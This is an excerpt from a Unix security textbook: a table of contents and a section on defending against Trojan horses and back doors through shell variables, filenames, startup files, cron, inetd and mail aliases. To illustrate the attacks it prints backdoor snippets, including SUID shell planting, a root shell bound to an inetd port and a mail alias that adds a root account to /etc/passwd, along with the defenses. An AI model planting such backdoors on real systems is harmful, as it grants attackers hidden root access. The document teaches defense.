Table of Contents for
Practical UNIX and Internet Security, 3rd Edition

Version ebook / Retour

Cover image for bash Cookbook, 2nd Edition Practical UNIX and Internet Security, 3rd Edition by Alan Schwartz Published by O'Reilly Media, Inc., 2003
  1. Cover
  2. Practical Unix & Internet Security, 3rd Edition
  3. A Note Regarding Supplemental Files
  4. Preface
  5. Unix “Security”?
  6. Scope of This Book
  7. Which Unix System?
  8. Conventions Used in This Book
  9. Comments and Questions
  10. Acknowledgments
  11. A Note to Would-Be Attackers
  12. I. Computer Security Basics
  13. 1. Introduction: Some Fundamental Questions
  14. What Is Computer Security?
  15. What Is an Operating System?
  16. What Is a Deployment Environment?
  17. Summary
  18. 2. Unix History and Lineage
  19. History of Unix
  20. Security and Unix
  21. Role of This Book
  22. Summary
  23. 3. Policies and Guidelines
  24. Planning Your Security Needs
  25. Risk Assessment
  26. Cost-Benefit Analysis and Best Practices
  27. Policy
  28. Compliance Audits
  29. Outsourcing Options
  30. The Problem with Security Through Obscurity
  31. Summary
  32. II. Security Building Blocks
  33. 4. Users, Passwords, and Authentication
  34. Logging in with Usernames and Passwords
  35. The Care and Feeding of Passwords
  36. How Unix Implements Passwords
  37. Network Account and Authorization Systems
  38. Pluggable Authentication Modules (PAM)
  39. Summary
  40. 5. Users, Groups, and the Superuser
  41. Users and Groups
  42. The Superuser (root)
  43. The su Command: Changing Who You Claim to Be
  44. Restrictions on the Superuser
  45. Summary
  46. 6. Filesystems and Security
  47. Understanding Filesystems
  48. File Attributes and Permissions
  49. chmod: Changing a File’s Permissions
  50. The umask
  51. SUID and SGID
  52. Device Files
  53. Changing a File’s Owner or Group
  54. Summary
  55. 7. Cryptography Basics
  56. Understanding Cryptography
  57. Symmetric Key Algorithms
  58. Public Key Algorithms
  59. Message Digest Functions
  60. Summary
  61. 8. Physical Security for Servers
  62. Planning for the Forgotten Threats
  63. Protecting Computer Hardware
  64. Preventing Theft
  65. Protecting Your Data
  66. Story: A Failed Site Inspection
  67. Summary
  68. 9. Personnel Security
  69. Background Checks
  70. On the Job
  71. Departure
  72. Other People
  73. Summary
  74. III. Network and Internet Security
  75. 10. Modems and Dialup Security
  76. Modems: Theory of Operation
  77. Modems and Security
  78. Modems and Unix
  79. Additional Security for Modems
  80. Summary
  81. 11. TCP/IP Networks
  82. Networking
  83. IP: The Internet Protocol
  84. IP Security
  85. Summary
  86. 12. Securing TCP and UDP Services
  87. Understanding Unix Internet Servers and Services
  88. Controlling Access to Servers
  89. Primary Unix Network Services
  90. Managing Services Securely
  91. Putting It All Together: An Example
  92. Summary
  93. 13. Sun RPC
  94. Remote Procedure Call (RPC)
  95. Secure RPC (AUTH_DES)
  96. Summary
  97. 14. Network-Based Authentication Systems
  98. Sun’s Network Information Service (NIS)
  99. Sun’s NIS+
  100. Kerberos
  101. LDAP
  102. Other Network Authentication Systems
  103. Summary
  104. 15. Network Filesystems
  105. Understanding NFS
  106. Server-Side NFS Security
  107. Client-Side NFS Security
  108. Improving NFS Security
  109. Some Last Comments on NFS
  110. Understanding SMB
  111. Summary
  112. 16. Secure Programming Techniques
  113. One Bug Can Ruin Your Whole Day . . .
  114. Tips on Avoiding Security-Related Bugs
  115. Tips on Writing Network Programs
  116. Tips on Writing SUID/SGID Programs
  117. Using chroot( )
  118. Tips on Using Passwords
  119. Tips on Generating Random Numbers
  120. Summary
  121. IV. Secure Operations
  122. 17. Keeping Up to Date
  123. Software Management Systems
  124. Updating System Software
  125. Summary
  126. 18. Backups
  127. Why Make Backups?
  128. Backing Up System Files
  129. Software for Backups
  130. Summary
  131. 19. Defending Accounts
  132. Dangerous Accounts
  133. Monitoring File Format
  134. Restricting Logins
  135. Managing Dormant Accounts
  136. Protecting the root Account
  137. One-Time Passwords
  138. Administrative Techniques for Conventional Passwords
  139. Intrusion Detection Systems
  140. Summary
  141. 20. Integrity Management
  142. The Need for Integrity
  143. Protecting Integrity
  144. Detecting Changes After the Fact
  145. Integrity-Checking Tools
  146. Summary
  147. 21. Auditing, Logging, and Forensics
  148. Unix Log File Utilities
  149. Process Accounting: The acct/pacct File
  150. Program-Specific Log Files
  151. Designing a Site-Wide Log Policy
  152. Handwritten Logs
  153. Managing Log Files
  154. Unix Forensics
  155. Summary
  156. V. Handling Security Incidents
  157. 22. Discovering a Break-in
  158. Prelude
  159. Discovering an Intruder
  160. Cleaning Up After the Intruder
  161. Case Studies
  162. Summary
  163. 23. Protecting Against Programmed Threats
  164. Programmed Threats: Definitions
  165. Damage
  166. Authors
  167. Entry
  168. Protecting Yourself
  169. Preventing Attacks
  170. Summary
  171. 24. Denial of Service Attacks and Solutions
  172. Types of Attacks
  173. Destructive Attacks
  174. Overload Attacks
  175. Network Denial of Service Attacks
  176. Summary
  177. 25. Computer Crime
  178. Your Legal Options After a Break-in
  179. Criminal Hazards
  180. Criminal Subject Matter
  181. Summary
  182. 26. Who Do You Trust?
  183. Can You Trust Your Computer?
  184. Can You Trust Your Suppliers?
  185. Can You Trust People?
  186. Summary
  187. VI. Appendixes
  188. A. Unix Security Checklist
  189. Preface
  190. Chapter 1: Introduction: Some Fundamental Questions
  191. Chapter 2: Unix History and Lineage
  192. Chapter 3: Policies and Guidelines
  193. Chapter 4: Users, Passwords, and Authentication
  194. Chapter 5: Users, Groups, and the Superuser
  195. Chapter 6: Filesystems and Security
  196. Chapter 7: Cryptography Basics
  197. Chapter 8: Physical Security for Servers
  198. Chapter 9: Personnel Security
  199. Chapter 10: Modems and Dialup Security
  200. Chapter 11: TCP/IP Networks
  201. Chapter 12: Securing TCP and UDP Services
  202. Chapter 13: Sun RPC
  203. Chapter 14: Network-Based Authentication Systems
  204. Chapter 15: Network Filesystems
  205. Chapter 16: Secure Programming Techniques
  206. Chapter 17: Keeping Up to Date
  207. Chapter 18: Backups
  208. Chapter 19: Defending Accounts
  209. Chapter 20: Integrity Management
  210. Chapter 21: Auditing, Logging, and Forensics
  211. Chapter 22: Discovering a Break-In
  212. Chapter 23: Protecting Against Programmed Threats
  213. Chapter 24: Denial of Service Attacks and Solutions
  214. Chapter 25: Computer Crime
  215. Chapter 26: Who Do You Trust?
  216. Appendix A: Unix Security Checklist
  217. Appendix B: Unix Processes
  218. Appendixes C, D, and E: Paper Sources, Electronic Sources, and Organizations
  219. B. Unix Processes
  220. About Processes
  221. Signals
  222. Controlling and Examining Processes
  223. Starting Up Unix and Logging In
  224. C. Paper Sources
  225. Unix Security References
  226. Other Computer References
  227. D. Electronic Resources
  228. Mailing Lists
  229. Web Sites
  230. Usenet Groups
  231. Software Resources
  232. E. Organizations
  233. Professional Organizations
  234. U.S. Government Organizations
  235. Emergency Response Organizations
  236. Index
  237. Index
  238. Index
  239. Index
  240. Index
  241. Index
  242. Index
  243. Index
  244. Index
  245. Index
  246. Index
  247. Index
  248. Index
  249. Index
  250. Index
  251. Index
  252. Index
  253. Index
  254. Index
  255. Index
  256. Index
  257. Index
  258. Index
  259. Index
  260. Index
  261. Index
  262. Index
  263. About the Authors
  264. Colophon
  265. Copyright

Protecting Yourself

Although you can encounter any type of programmed threat in a Unix environment, you are more likely to encounter Trojan horses and back doors. In part, this is because writing effective worms and viruses to attack Unix is rather difficult (though these pests can still spread through Unix systems and networks); also, most attackers do not intend outright damage to your system. Instead, they use Trojan horses or back doors to gain (or regain) additional access to your system. If damage is a goal, obtaining superuser access is usually a first step in the process.

Some of the features that give Unix its flexibility and power also enable attackers to craft workable Trojan horse or back door schemes.

In general, attacks come in one of the following forms:

  • Altering the expected behavior of the shell (command interpreter)

  • Abusing some form of startup mechanism

  • Subverting some form of automatic mechanism

  • Exploiting unexpected interactions

Basically, all of these plans are designed to get a privileged user or account to execute commands that would not normally be executed. For example, one Trojan horse is a program named su that, instead of making you the superuser, sends a copy of the superuser password to an account at another computer.

To protect your system effectively, you need to know how these attacks work. By understanding the methods of attack, you can then be aware of how to prevent them.

An equally important part of protecting yourself is to run a secure system in general. Normal computer security procedures will protect your system against both programmed threats and malicious users.

Shell Features

The shells (csh , sh, ksh, tcsh, and others) provide users with a number of shortcuts and conveniences. Among these features is a complete programming language with variables. Some of these variables govern the behavior of the shell itself. If an attacker is able to subvert the way the shell of a privileged user works, the attacker can often get the user (or a background task) to execute a task for him.

There are a variety of attacks using features of the shell to compromise security. Some are still real threats. Others are historic, in that more recent shells have options set to prevent the attacks from occurring. However, the lack of clear standardization and the continued use of older systems both suggest that a dedicated security professional should understand—and protect against—historical attacks. Both kinds are described in the following sections.

PATH attacks

Each shell maintains a path, consisting of a set of directories to be searched for commands issued by the user. This set of directories is consulted, when the user types a command whose name does not contain a leading / symbol, and which does not bind to an internal shell command name or alias.

In shells derived from the Bourne and Korn shells, the PATH variable is normally set within the initialization file. The list of directories given normally consists of directories separated by a colon (:). An entry of only a period, or an empty entry,[335] means to search the current directory. The csh path is initialized by setting the PATH variable with a list of space-separated directory names enclosed in parentheses.

For instance, the following are typical initializations that have vulnerabilities:

PATH=.:/usr/bin:/bin:/usr/local/bin                 sh or ksh
set path = ( . /usr/bin /bin /usr/local/bin)        csh

Each command sets the search path to look first in the current directory, then in /usr/bin, then in /bin, and then in /usr/local/bin. This is a poor choice of settings, especially if the user has special privileges. The current directory, as designated by a null directory or period, should never be included in the search path. To illustrate the danger of placing the current directory in your path, see the example given in Chapter 5.

You should also avoid this sort of initialization, which also places the current directory in your search path:

The following is incorrect:

PATH=:/usr/bin:/bin:/usr/local/bin:          sh or ksh

The following is correct:

PATH=        /usr/bin:/bin:/usr/local/bin            sh or ksh

The colons (:) should be used only as delimiters, not as end caps.

No sensitive account should ever have “.”—the current directory—in its search path.[336] This rule is especially true of the superuser account! More generally, you should never have a directory in your search path that is writable by other users. Some sites keep a special directory, such as /usr/local/bin/ world-writable (mode 777) so that users can install programs for the benefit of others. Unfortunately, this practice opens up the entire system to the kinds of attacks outlined earlier.

Putting the current directory last in the search path is also not a good idea. For instance, if you use the more command frequently, but sometimes type mroe, the attacker can take advantage of this by placing a Trojan horse named mroe in this directory. It may be many weeks or months before the command is accidentally executed. However, when the command is executed, your security will be penetrated.

We strongly recommend that you get into the habit of typing the full pathname of commands when you are running as root. For example, instead of only typing “chown”, type “/sbin/chown” to be sure you are getting the system version! This may seem like extra work, but when you are running as root, you also bear extra responsibility.

If you create any shell files that will be run by a privileged user—including root, daemon, mail, http, etc.—get in the habit of resetting the PATH variable as one of the first things you do in each shell file. The PATH should include only sensible, protected directories. This method is discussed further in Chapter 16.

IFS attacks

The IFS variable can be set to indicate which characters separate input words (similar to the -F option of awk). The benefit of this variable is that you can use it to change the behavior of the shell in interesting ways. For example, you could use the following shell script to get a list of account names and their home directories:

#!/bin/sh

IFS=":"

while read acct passwd uid gid gcos homedir shell
do
   echo $acct " " $homedir
done < /etc/passwd

(In this, the shell has already read and parsed the whole file before the assignment to IFS is executed, so the remaining words are not separated by colon (:) characters.)

The IFS feature has largely been superseded by other tools, such as awk and Perl. However, the feature lives on and can cause unexpected damage. By setting IFS to use / as a separator, an attacker could cause a shell file or program to execute unexpected commands.

Most modern versions of the shell will reset their IFS value to a normal set of characters when invoked. Thus, shell files will behave properly. However, not all do. To determine if your shell is immune to this problem, try executing the following:

: A test of the shell

cd /tmp
cat > tmp <<E-O-F
echo "Danger!"
echo "Your shell does NOT reset the IFS variable!"
E-O-F

cat > foo <<E-O-F
echo "Your shell appears well behaved."
E-O-F

cat > test$$ <<E-O-F
/tmp/foo
E-O-F

chmod 700 tmp foo test$$

PATH=.:$PATH
IFS="/$IFS"
export PATH IFS

test$$

rm -f tmp foo test$$

Failure to reset the IFS variable is not itself a security problem. The difficulty arises when a shell file is executed on behalf of a user, or if some command is executed from within a program using the system( ) or popen( ) calls (they both use the shell to parse and execute their arguments). If an attacker can execute the program as a privileged user and reset the search path, then he can compromise security. You should be especially cautious about writing shell files and SUID/SGID programs if your shell does not reset IFS.

$HOME attacks

Yet another tactic that can be exploited, in some circumstances, is to reset the HOME variable. Normally, csh and ksh substitute the value of this variable for the ~ symbol when it is used in pathnames. Thus, if an attacker is able to change the value of this variable, he might also be able to take advantage of a shell file that used the ~ symbol as a shorthand for the home directory.

For example, if there is a SUID csh file (despite our warnings elsewhere about both csh and SUID shell files) that references ~/.rhosts for the user, an attacker could subvert it by resetting the HOME environment variable before running it.

Filename attacks

One subtle form of attack results from an interaction between the shell and the filesystem. The Unix filesystem has no restrictions on the characters that can be used in a filename, other than that the slash (/) and null (ASCII 0) characters cannot be used. Consequently, other special characters can be used, including the following:

' ; | & $

The problem exists when a user finds that some script or command is executed on a regular basis by a privileged user, and the command uses filenames as an argument. If your attacker creates a filename with the appropriate sequence of characters, the attacker could execute a command of her choosing.

This problem most often manifests itself when there are scripts run from the cron file to do filesystem sweeps or accounting. The commands most susceptible to this form of attack are find and xargs,[337] along with anything that edits input and moves it to a shell. The script in Example 23-1 demonstrates all three and checks the versions of your programs to see if they can be used in such an attack. If so, examine carefully any scripts you run regularly.

Example 23-1. Command test script

: A Test of three basic commands

cd /tmp

if test -f ./gotcha
then
   echo "Ooops! There is already a file named gotcha here."
   echo "Delete it and try again."
   exit 1
fi

cat > gotcha <<E-O-F
echo "Haha! Gotcha! If this was nasty, you would have a problem! 1>&2"
touch g$$
exit 2
E-O-F
chmod +x ./gotcha

fname='foo;'gotcha''
touch "$fname"

PATH=.:$PATH
export PATH

find /tmp -type f -exec echo {} \; > /dev/null

if test -f ./g$$
then
   echo "Ooops! find gotcha!"
   rm -f g$$
else
   echo "find okay"
fi

ls -1 * | sed 's/^/wc /' | sh >/dev/null

if test -f ./g$$
then
   echo "Ooops! your shell gotcha!"
   rm -f g$$
else
   echo "your shell okay"
fi

ls -1 | xargs ls >/dev/null

if test -f ./g$$
then
   echo "Ooops! xargs gotcha!"
   rm -f g$$
else
echo "xargs okay"

fi

rm -f ./gotcha "$fname" g$$

Startup File Attacks

Various programs have methods of automatic initialization to set options and variables for the user. Once these options and variables are set, the user normally never looks at them again. As a result, they are a great spot for an attacker to make a hidden change to be executed automatically on her behalf.

The problem is not that these startup files exist, but that an attacker may be able to write to them. All startup files should be protected so only the file’s owner can write to them. Even having group-write permission on these files may be dangerous.

.login, .profile, /etc/profile

These files are executed when the user first logs in. Commands within the files are executed by the user’s shell. Allowing an attacker to write to these files can result in arbitrary (and hidden) commands being executed each time the user logs in, or on a one-time basis:

# attacker's version of root's .profile file
/bin/cp /bin/sh /tmp/.secret
/etc/chown root /tmp/.secret
/bin/chmod 4555 /tmp/.secret
# run real .profile and replace this file
mv /.real_profile /.profile
. /.profile

.cshrc, .kshrc, .tcshrc

These are files that can be executed at login or when a new shell is run. They may also be run after executing su to the user account.

.emacs

This file is read and executed when the GNU Emacs editor is started. Commands of arbitrary nature may be written in Emacs LISP code and buried within the user’s Emacs startup commands. Furthermore, if any of the directories listed in the load-path variable are writable, the library modules can be modified with similar results.

.exrc, .nexrc

These files are read for initialization when the ex or vi editor is started. What is particularly nasty is that if there is a version of this file present in the current directory, then its contents may be read in and used instead of the one in the user’s home directory.

Thus, an attacker might do the following in every directory where he has write access:

% cat > .exrc
!(cp /bin/sh /tmp/.secret;chmod 4755 /tmp/.secret)&
^D

Should the superuser ever start either the vi or ex editor in one of those directories, the superuser will unintentionally create an SUID sh. The superuser will notice a momentary display of the ! symbol during editor startup. The attacker can then, at a later point, recover this SUID file and take full advantage of the system.

Some versions of the vi/ex software allow you to put the command set noexrc in your EXINIT environment variable. This ability prevents any local .exrc file from being read and executed.

.forward, .procmailrc

Some mailers allow the user to specify special handling of mail by placing special files in his home directory. With sendmail, the user may specify certain addresses and programs in the .forward file. If an attacker can write to this file, she can specify that upon mail receipt a certain program be run—like a shell script in /tmp that creates a SUID shell for the attacker.

Many popular mailer packages allow users to write filter files to process their mail in a semi-automated fashion. This includes the procmail system, MH, and several others. Some of these programs are quite powerful, and have the potential to cause problems on your system. If a user writes a filter to trigger on a particular form of mail coming into the mailbox, an attacker could craft a message to cause unwanted behavior.

For example, suppose that one of your users has installed an autoreply to send an “out of the office” reply to any incoming mail. If someone with malicious intent were to send a forged mail message with a bad return address, the hapless user’s mailer would send an automated reply. However, the bad address would cause a bounce message to come back, only to trigger another autoreply. The result is an endless exchange of autoreplies and error messages, tying up network bandwidth (if non-local), log file space, and disk space for the user. (The solution is to use an autoreply that sends a reply to each address only once every few days, and that recognizes and does not reply to error messages. Novice programmers, by definition, seldom think about how the software they write can fail.)

Other files

Other programs also have initialization files that can be abused. Third-party systems that you install on your system, such as database systems, office interfaces, and windowing systems, all may have initialization files that can cause problems if they are configured incorrectly or are writable. You should carefully examine any initialization files present on your system, and especially check their permissions.

Other initializations

Many programs allow you to set initialization values in environment variables in your shell rather than in your files. These can also cause difficulties if they are manipulated maliciously. For instance, in the previous example for vi, the Trojan horse can be planted in the EXINIT environment variable rather than in a file. The attacker then needs to trick the superuser into somehow sourcing a file or executing a shell file that sets the environment variable and then executes the editor. Be very wary of any circumstances in which you might alter one of your shell variables in this way!

Another possible source of initialization errors comes into play when you edit files that have embedded edit commands. Both vi/ex and Emacs allow you to embed edit commands within text files so they are automatically executed whenever you edit the file. For this to work, they must be located in the first few or last few lines of the file.

To disable this feature in Emacs, place one of these lines in your .emacs file:

(setq inhibit-local-variables t)                   ; Emacs Version 18

or:

(setq enable-local-variables "ask")                    ; Emacs Verison 19 and above

We know of no uniform method of disabling the undesired behavior of vi/ex on every platform without making alterations to the source. Some vendors may have provided a means of shutting off this automatic initialization, so check your documentation.

Abusing Automatic Mechanisms

Unix has programs and systems that run automatically. Many of these systems require special privileges. If an attacker can compromise these systems, he may be able to gain direct unauthorized access to other parts of the operating system or plant a back door to gain access at a later time.

In general, there are three fundamental principles to preventing abuse of these automatic systems:

  1. Don’t run anything in the background or periodically with more privileges than absolutely necessary.

  2. Don’t make configuration files for these systems writable by anyone other than the superuser. Consider making them unreadable, too.

  3. When adding anything new to the system that will be run automatically, keep it simple and test it as thoroughly as you can.

The first principle suggests that if you can run something in the background with a user ID other than root, you should do so. For instance, the GNU Mailman 2.0 system has a script that runs every five minutes that attends to pending tasks. Instead of running as root, this script usually runs under a username and UID that is reserved for the Mailman system—for example, mailman or list. The rest of the Mailman system is then configured so that this user has access to modify any of the Mailman databases, but other users do not. In this way, an attacker can’t modify the files and insert commands that will automatically execute at a later time.

crontab entries

There are three forms of crontab files. The oldest form has a line with a command to be executed as superuser whenever the time field is matched by the cron daemon.[338] To execute commands from this old-style crontab file as a user other than root, you must make the command listed in the crontab file use the su command. For example:

59 1 * * *             /bin/su news -c /usr/lib/news/news.daily

This has the effect of running the su command at 1:59 a.m., resulting in a shell running as user news. The shell is given arguments of both -c and /usr/lib/news/news.daily that then cause the script to be run as a command.

The second form of the cron file has an extra field that indicates on whose behalf the command is being run. In the following example, the script is run at 1:59 a.m. as user news without the need for a su command. This version of cron is found principally in versions of Unix derived from the older BSD version.

59 1 * * *             news             /usr/lib/news/news.daily

The third form of cron is found in most modern operating systems. It keeps both a master crontab file and a protected directory with a separate crontab file for each user. The cron daemon examines all the files and dispatches jobs based on the user owning the file. This form of cron does not need any special care in the entries, although (like the other two versions) the files and directories need to be protected.

On many systems, use of cron can be restricted to selected users by using the cron.allow and cron.deny files, which are typically found in /etc. If the cron.allow file is present, only users listed in that file may use cron; otherwise, if cron.deny is present, users in that file may not use cron.

inetd.conf

The /etc/inetd.conf file defines which programs should be run when incoming network connections are caught by the inetd daemon. An intruder who can write to the file may change one of the entries in the file to start up a shell or other program to access the system upon receipt of a message. So, he might change:

daytime stream tcp nowait root internal

to:

daytime stream tcp nowait root /bin/ksh ksh -i

This would allow an attacker to telnet to the daytime port on the machine, and get a root shell any time he wanted to get back on the machine. Note that this would not result in any unusual program appearing on the system. The only way to discover this trap is to check the inetd.conf file. Obviously, this is a file to include as part of the checklists procedure for examining altered files. It is also a file that should be closely guarded.

Note that even if the command names look appropriate for each of the services listed in the inetd.conf file, if the corresponding files are writable or in a writable directory, the attacker may replace them with altered versions. They would not need to be SUID/SGID because inetd would run them as root (if so indicated in the file).

/etc/mail/aliases, aliases.dir, aliases.pag, and aliases.db

These are the files of system-wide electronic mail aliases used by the sendmail program. Similar files exist for other mailers. The aliases in the aliases file are compiled into database files (aliases.dir and aliases.pag, or aliases.db) for faster lookups.

The danger with this file is that an attacker can create a mail alias that automatically runs a particular program. For example, an attacker might add an alias that looks like this:

uucheck: "|/usr/lib/uucp/local_uucheck"

He might then create a SUID root file called /usr/lib/uucp/local_uucheck that essentially performs these operations:[339]

#!/bin/sh
echo "uucheck::0:0:fake uucp:/:/bin/sh" >> /etc/passwd

The attacker now has a back door into the system. Whenever he sends mail to user uucheck, the system will put an entry into the password file that will allow the attacker to log in. He can then edit the entry out of the password file, and have free reign on the system. How often do you examine your alias file?

There are other ways of exploiting email programs that do not require the creation of SUID programs. We have omitted them from this text, as it is not our goal to provide a cookbook for breaking into computer systems, and an astonishingly large number of sites have world-writable alias files.

Be sure that your alias file is not writable by users (if for no other reason than the fact that it gives users an easy way to intercept your mail). You must also protect the database files. Make certain that no alias runs a program or writes to a file unless you are absolutely 100% certain what the program does.

The at program

Most Unix systems have a program called at that allows users to specify commands to be run at a later time. This program is especially useful for jobs that need to be run only once, although it is also useful on systems that do not have a modern version of cron that allows users to set their own delayed jobs.[340]

The at command collects environment information and commands from the user and stores them in a file for later execution. The user ID to be used for the script is taken from the queued file. If an attacker can get into the queue directory to modify the file owner or contents, it is possible that the files can be subverted to do something other than what was intended. Thus, for obvious reasons, the directory where at stores its files should not be writable by others, and the files it creates should not be writable (or readable) by others.

Try running at on your system. If the resulting queue files (usually in /usr/spool/atrun, /usr/spool/at, or /var/spool/atrun) can be modified by another user, you should fix the situation or consider disabling the atrun daemon (usually dispatched by cron every 15 minutes).

On many systems, the use of at can be restricted to selected users by using the at.allow and at.deny files, which are typically found in /etc. If the at.allow file is present, only users listed in that file may use at; otherwise, if at.deny is present, users in that file may not use at.

System initialization files

The system initialization files are another ideal place for an attacker to place commands that will allow access to the system. By putting selected commands in /etc/rc*, /etc/init.d/*, /etc/rc?.d, and other standard files, an attacker could reconstruct a back door into the system whenever the system is rebooted or the run level is changed. All the files in /etc should be kept unwritable by users other than root!

Be especially careful regarding the log files created by programs automatically run during system initialization. These files can be used to overwrite system files through the use of symlinks. Thus, directories containing log files should also have their permissions tightly controlled.

Other files

Other files may be run on a regular basis, and these should be protected in a similar manner. The programs and datafiles should be made nonwritable (and perhaps nonreadable) by unprivileged users. All the directories containing these files and commands up to and including the root directory should be made nonwritable.

Other files and directories to protect include:

  • The NIS/NIS+ database and commands (often in /usr/etc/yp or /var/nis).

  • The files in /usr/adm , /var/adm, and/or /var/log used for accounting and logging.

  • The files in your mailer queue and delivery area (usually /usr/spool/mqueue and /usr/spool/mail or files linked to those names).

  • All the files in the system libraries (/lib , /usr/lib, and /usr/local/lib).

  • Files that are part of the software development system (/usr/include, /usr/lib/cpp, etc.). Users who do not need to use the compiler should not have access to it.

Issues with NFS

As an added precaution, none of these files or directories (or the ones mentioned earlier) should be exported via NFS (described in Chapter 15). If you must export the files via NFS, export them read-only, or set their ownership to root and map root client access to nobody. If clients need to be able to modify configuration files, then the exported files (presumably on the /usr partition) should actually be symbolic links to locations on the client’s local filesystems (presumably on the /var or /opt partitions).

No files that are used as part of your system’s startup procedure or for other automatic operations should be exported via NFS. If these files must be exported using NFS, they should be set on the server to be owned by root and placed in a directory that is owned by root. Do not export directories that hold mailboxes, as these files inherently require ownership by users other than root.



[335] In a POSIX-like system, a null entry does not translate to the current directory; an explicit dot must be used.

[336] We would argue that no account, sensitive or otherwise, should have the current directory in its search path, but we understand how difficult this practice would be to enforce.

[337] The GNU find and xargs programs have a -0 option, which causes the programs to use the NULL character as the delimiter rather than the linefeed. The use of this option protects these commands from some of the filename attacks of the variety described in this section because the NULL character cannot appear in filenames.

[338] All crontab files are structured with five fields (minutes, hours, days, months, day of week) indicating the time at which to run the command.

[339] An actual attacker would make local_uucheck a compiled program to hide its obvious effect.

[340] On systems that do have a suitable version of cron, consider disabling at altogether if you don’t need it.